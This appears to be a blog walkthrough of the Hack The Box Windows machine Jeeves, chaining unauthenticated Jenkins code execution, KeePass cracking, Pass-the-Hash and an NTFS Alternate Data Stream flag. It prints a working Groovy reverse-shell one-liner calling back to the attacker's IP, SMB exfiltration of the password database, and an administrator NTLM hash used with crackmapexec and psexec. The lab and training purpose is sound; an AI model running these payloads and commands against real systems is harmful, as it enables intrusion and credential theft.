Jeeves | Hack The Box Walkthrough | OSCP Style

From an unauthenticated Jenkins console to SYSTEM via KeePass cracking, Pass-the-Hash, and a hidden Alternate Data Stream.

From an unauthenticated Jenkins console to SYSTEM via KeePass cracking, Pass-the-Hash, and a hidden Alternate Data Stream.

Jeeves is a medium-difficulty Windows machine on Hack The Box that packs several classic Windows attack techniques into a single, realistic chain. We start by discovering a Jenkins automation server that allows unauthenticated code execution through its Groovy Script Console, then escalate by cracking a KeePass database to recover an administrator NTLM hash, and finally abuse Pass-the-Hash to take full control of the host. As a closing twist, the root flag is hidden inside an NTFS Alternate Data Stream. Let’s walk through it step by step.

Reconnaissance

Every engagement begins with reconnaissance to map the attack surface: open ports, running services, and their versions. We launch a full TCP port scan with service detection and default NSE scripts to get our starting point:

nmap -sC -sV -p- --open 10.10.10.63 -oN nmap_full.txt

Figure 1. Full nmap scan revealing the open ports and services on the target.

The scan reveals a web server on port 80 and, more interestingly, a second HTTP service on the high port 50000. Non-standard high ports are always worth a closer look, as they frequently host management interfaces or applications the developers assumed nobody would ever find.

Web Enumeration

We start by browsing the application on port 80.

Figure 2. The web application hosted on port 80.

At first glance it looks like a functional search engine, but the buttons are inert and submitting a query only returns a static error. This is a decoy: the “search” is just an image designed to send us down a rabbit hole.

Figure 3. Submitting a search returns a hard-coded error image, confirming the page is a decoy.

Turning to the service on port 50000, the root path returns nothing useful on its own.

Figure 4. The service on port 50000 shows no obvious content at its root.

Directory Brute Forcing

Since neither service exposes anything directly, we enumerate hidden directories on both ports with Gobuster:

gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 200 --no-error

The dir mode brute-forces paths, -u sets the target, -w points to the wordlist, -t 200 raises the thread count for speed, and --no-error suppresses noisy connection errors.

Figure 5. Gobuster directory enumeration running against the target.

Gobuster surfaces a path on port 50000 that returns an HTTP 300 status code. This happens because Gobuster appends a trailing slash that triggers a redirect, so we see a 300 (redirect) instead of a clean 200, but the resource is very much there.

Figure 6. The discovered resource on port 50000 returning an HTTP 300 (redirect) status.

Initial Foothold Unauthenticated Jenkins RCE

Following that path leads us to a Jenkins automation server. Critically, the instance enforces no authentication: we can create jobs and reach administrative features without ever logging in.

Figure 7. The exposed Jenkins instance, fully accessible without authentication.

One of the most powerful (and dangerous) features of an exposed Jenkins is the Groovy Script Console, which executes arbitrary Groovy/Java code on the server with the privileges of the Jenkins process. We abuse it to spawn a reverse shell back to our attacking machine. First, we start a listener on Kali:

nc -lvnp 3730

Then we run the following Groovy reverse-shell one-liner in the Script Console:

String host="10.10.14.9";int port=3730;String cmd="cmd.exe";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Set host to your Kali IP and port to the port your listener is on. Make sure the quotation marks are straight quotes ("): smart/curly quotes will break the script.

Figure 8. Executing the Groovy reverse-shell payload in the Jenkins Script Console.

The payload connects back and we land an interactive shell as the low-privileged user kohsuke.

Figure 9. Reverse shell obtained as the user kohsuke.

Looting A KeePass Database

Exploring kohsuke’s profile, we find a .kdbx file in the Documents directory. The .kdbx extension belongs to KeePass, a password manager: a promising target that likely stores credentials we can reuse.

Figure 10. A KeePass database (CEH.kdbx) discovered in the user’s Documents folder.

To analyze the file comfortably on Kali, we exfiltrate it over SMB. Impacket’s smbserver lets us stand up a quick share, and we copy the database across from the Windows host:

impacket-smbserver crypto . -smb2support
copy CEH.kdbx \\10.10.14.7\crypto

Figure 11. Hosting an SMB share with Impacket’s smbserver to receive files.

Figure 12. Copying the KeePass database from the victim into our SMB share.

Cracking the KeePass Database

With the database on Kali, we try to open it with kpcli, but it is locked behind a master password we don't have:

kpcli --kdb=CEH.kdbx

Figure 13. kpcli prompts for the master password we don’t yet possess.

To recover the master password offline, we extract a crackable hash from the database with keepass2john (bundled with John the Ripper):

keepass2john CEH.kdbx > keepass_hashes.txt

Figure 14. Extracting the KeePass master-password hash with keepass2john.

We then feed the hash to Hashcat. KeePass hashes use mode 13400, and we run it against the classic rockyou.txt wordlist:

hashcat -m 13400 keepass_hashes.txt /usr/share/wordlists/rockyou.txt

Figure 15. Launching Hashcat against the KeePass hash (mode 13400).

Figure 16. Hashcat successfully recovers the master password.

Recovering the Administrator Hash

Armed with the master password, we unlock the vault with kpcli:

kpcli --kdb=CEH.kdbx

Figure 17. Unlocking the KeePass vault with the cracked master password.

Browsing the stored entries, one of them contains an NTLM hash for the Administrator account. We display the full contents of an entry with:

show -f 0

Figure 18. A stored vault entry revealing the Administrator’s NTLM hash.

Pass-the-Hash

Rather than cracking the NTLM hash, we can authenticate with it directly. First, we validate it against SMB with CrackMapExec:

crackmapexec smb 10.10.10.63 -u Administrator -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'

Figure 19. CrackMapExec confirms the Administrator hash is valid (Pwn3d!).

The (Pwn3d!) marker confirms the credentials work and grant administrative access. We now perform a full Pass-the-Hash with Impacket's psexec to obtain a SYSTEM-level shell:

impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' Administrator@10.10.10.63

Figure 20. Pass-the-Hash with psexec yields a shell as NT AUTHORITY\SYSTEM.

Capturing root.txt: Alternate Data Streams

With full control we head to the Administrator Desktop, but root.txt is nowhere to be seen. This is the box's final trick: the flag is concealed in an NTFS Alternate Data Stream (ADS), a feature that lets one file carry additional data "attached" to it, completely invisible to a normal directory listing.

To reveal and read the hidden stream:

dir /R
more < hm.txt:root.txt

dir /R lists files including their alternate data streams, and more < hm.txt:root.txt reads the hidden stream attached to hm.txt.

Figure 21. Using dir /R to expose the Alternate Data Stream and reading the hidden root flag.

If you’d rather avoid ADS syntax altogether, there’s a simpler route: download the carrier file to Kali. Linux filesystems don’t support Alternate Data Streams, so the hidden stream is flattened out and the flag becomes directly readable. We pull the file over SMB and read it with cat:

Figure 22. Transferring the carrier file back to Kali over SMB.

Figure 23. Reading the root flag directly on Kali once the ADS is flattened.

Conclusion

Jeeves is an excellent box for practising a realistic Windows attack chain from start to finish. The path took us from an unauthenticated Jenkins Script Console (a stark reminder of how dangerous an exposed CI/CD server is) through the offline cracking of a KeePass database, and finally to a Pass-the-Hash attack that never required us to know the cleartext administrator password. The closing ADS trick is a great lesson in how attackers and defenders alike must understand the file system itself, not just the files sitting on top of it.

Key takeaways:

  • Always enumerate non-standard high ports: management interfaces love to hide there.
  • An exposed Jenkins instance is effectively remote code execution.
  • Password managers are high-value loot: one cracked master password can unlock everything.
  • NTLM hashes are credentials. You don’t need to crack them to use them.
  • Alternate Data Streams can hide data in plain sight on Windows.

References

If you’re interested in following my upcoming articles on OT/ICS, certifications, HTB content, and Red Team experiences, I invite you to connect with me on LinkedIn or Instagram.